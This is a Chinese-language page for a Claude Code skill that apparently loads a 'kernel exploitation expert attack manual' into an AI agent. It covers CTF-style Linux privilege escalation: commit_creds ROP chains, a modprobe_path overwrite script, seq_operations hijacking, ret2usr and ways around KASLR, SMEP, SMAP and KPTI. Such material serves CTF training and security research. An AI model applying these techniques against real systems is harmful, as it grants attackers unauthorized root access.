关于 kernel-exploitation
面向安全研究者和 CTF 参与者的 Linux 内核利用指南,涵盖 QEMU 环境、漏洞类型、权限提升、内核 ROP 与返回用户态,并关注内核特有的缓解措施。
主要功能
- 01QEMU 内核实验环境搭建
- 02常见内核漏洞类型
- 03权限提升目标
- 04内核 ROP 与栈迁移
- 05SMEP、SMAP 和 KPTI 注意事项
- 06安全返回用户态
适用场景
- 01搭建内核调试环境
- 02分析 UAF、越界访问和竞态漏洞
- 03开发内核权限提升利用
- 04规划内核缓解措施的应对方案
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill kernel-exploitation安装后在 Claude Code 中输入/kernel-exploitation确认已加载。
附带文件KERNEL_HEAP_TECHNIQUES.mdKERNEL_MITIGATION_BYPASS.md
详细介绍
技能:Linux 内核漏洞利用 — 专家攻击手册
AI 加载指令:专家级内核漏洞利用技术。涵盖环境搭建(QEMU)、漏洞类别、权限提升目标、内核 ROP、ret2usr、栈迁移和跨缓存攻击。内容提炼自 ctf-wiki 内核模式章节和真实世界的内核 CVE。基础模型经常混淆用户模式和内核模式下的漏洞利用限制,尤其是在 SMEP/SMAP/KPTI 方面。
0. 相关路由
- binary-protection-bypass — 用户空间保护机制(NX、ASLR)同样适用于内核环境
- stack-overflow-and-rop — 内核 ROP 沿用许多用户空间 ROP 概念
- heap-exploitation — 内核 SLUB 在概念上与用户空间堆相关
- linux-privilege-escalation — 非漏洞利用型内核提权技术
进阶参考
- KERNEL_MITIGATION_BYPASS.md — KASLR、SMEP、SMAP、KPTI、FG-KASLR、CFI 绕过技术
- KERNEL_HEAP_TECHNIQUES.md — SLUB 内部机制、跨缓存攻击、msg_msg/pipe_buffer/sk_buff 漏洞利用
1. 漏洞利用模型
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
2. 环境搭建
QEMU + 自定义内核
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
GDB 调试
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
修改 initramfs
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
3. 常见漏洞类型
| 类型 | 描述 | 内核示例 |
|---|---|---|
| UAF | 对象已释放,但指针仍可访问 | CVE-2022-0847 (DirtyPipe) |
| OOB 读/写 | 缺少数组索引或大小检查 | CVE-2021-22555 (Netfilter) |
| 竞态条件 | 检查与使用之间存在 TOCTOU | CVE-2016-5195 (DirtyCow) |
| 整数溢出 | 大小计算发生回绕 | 各种 ioctl 处理程序 |
| 类型混淆 | 将对象转换为错误的类型 | CVE-2023-0179 (Netfilter) |
| 双重释放 | 对象被释放两次 | SLUB 分配器漏洞利用 |
| 栈溢出 | 内核栈缓冲区溢出 | 较少见(内核栈较小:8KB–16KB) |
4. 权限提升目标
方法 1:commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
等效的内核 ROP 链:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
方法 2:覆盖 modprobe_path
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
方法 3:直接覆盖 cred 结构
如果能找到当前任务的 cred 指针并且拥有任意写能力,就直接将 cred 结构中的 uid/gid 字段清零。
方法 4:逃逸命名空间(容器)
覆盖 init_nsproxy 或操纵命名空间指针,以逃逸容器隔离。
5. 内核 ROP
可控 RIP 的来源
| 来源 | 机制 |
|---|---|
| 损坏的函数指针 | UAF 对象通过类似 vtable 的分派机制调用函数 → 覆盖指针 |
| 损坏的返回地址 | 内核栈溢出(较少见) |
损坏的 ops 结构 | 模块操作结构(file_operations、seq_operations) |
劫持 seq_operations(常见 CTF 模式)
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
内核中的栈迁移
| Gadget | 用途 |
|---|---|
xchg eax, esp; ret | 迁移到 RAX 低 32 位中的地址(位于已知地址的 mmap 缓冲区) |
mov rsp, [rdi+X]; ... | 如果 RDI 指向可控数据 |
push rdi; pop rsp; ... | 迁移到 RDI(被劫持函数的第一个参数) |
重要:启用 SMEP 后,无法执行用户空间代码。ROP 链只能使用内核 gadget。
6. ret2usr(SMEP 启用前)
直接从内核上下文调用用户空间函数:
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory
防护机制:SMEP(监管者模式执行防护)——内核无法执行用户映射的页面。
7. 返回用户空间
在内核中提升权限后,必须安全返回用户空间才能获得 root shell。
通过 iretq(传统方式)
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
通过 KPTI 跳板(启用 KPTI 时)
KPTI 将内核页表与用户页表分离。直接执行 swapgs; iretq 会导致崩溃,因为用户页面未映射。应使用内核自身的返回跳板:
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
通过信号处理程序返回
在利用漏洞前设置一个信号处理程序。执行 commit_creds 后触发信号 → 通过信号处理程序返回用户空间(无需手动执行 swapgs/iretq)。
8. QEMU 调试技巧
| 命令 | 用途 |
|---|---|
-s -S | 在 :1234 启动 GDB 服务器,并暂停 |
-monitor /dev/null | 禁用 QEMU 监视器(输出更简洁) |
-append "nokaslr" | 调试时禁用 KASLR |
-cpu kvm64,+smep,+smap | 启用指定的 CPU 功能 |
info registers (GDB) | 显示所有寄存器值 |
maintenance packet Qqemu.PhyMemMode:1 | 在 GDB 中读取物理内存 |
cat /proc/kallsyms | 内核符号地址(若可读取) |
cat /sys/kernel/notes | 内核构建 ID |
9. 决策树
Kernel vulnerability identified
├── What type?
│ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│ ├── OOB → determine read/write range, target adjacent objects
│ ├── Race condition → reliable trigger (userfaultfd, FUSE)
│ ├── Integer overflow → how does it translate to OOB or allocation confusion?
│ └── Type confusion → what can the confused type access?
│
├── Build primitive
│ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│ ├── Arbitrary read? → leak KASLR base, then controlled RIP
│ ├── Arbitrary write? → modprobe_path overwrite (simplest)
│ │ or overwrite cred structure directly
│ └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│ ├── SMEP → kernel ROP only (no user code exec)
│ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│ ├── KPTI → use KPTI trampoline for clean return
│ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│ ├── Have arbitrary write only → modprobe_path overwrite
│ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
├── KPTI disabled → swapgs; iretq (ROP ending)
├── KPTI enabled → jump to KPTI trampoline
└── Alternative → signal handler + process_one_work return path
评论
支持 Markdown